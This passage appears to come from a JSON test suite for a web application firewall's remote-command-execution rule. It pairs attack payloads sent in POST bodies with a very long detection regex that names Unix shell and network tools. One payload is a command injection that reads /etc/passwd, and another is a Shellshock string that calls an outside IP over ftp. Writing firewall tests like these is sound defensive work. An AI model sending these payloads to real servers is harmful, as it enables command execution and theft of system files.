\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Like rule True Negative Rule Integrity 10 but the html entity is concatenation with RCE at the end" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something+%0Acat%20/etc/passwd;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-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]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[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:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Like rule True Negative Rule Integrity 10 but the html entity is concatenation with RCE at the beginning" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something+()%20{%20:;};%20/bin/bash%20-c%20\"ftp%20http://135.23.158.130/.testing/shellshock.txt?vuln=22?dig=\\`top%20-a\\`\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b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|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\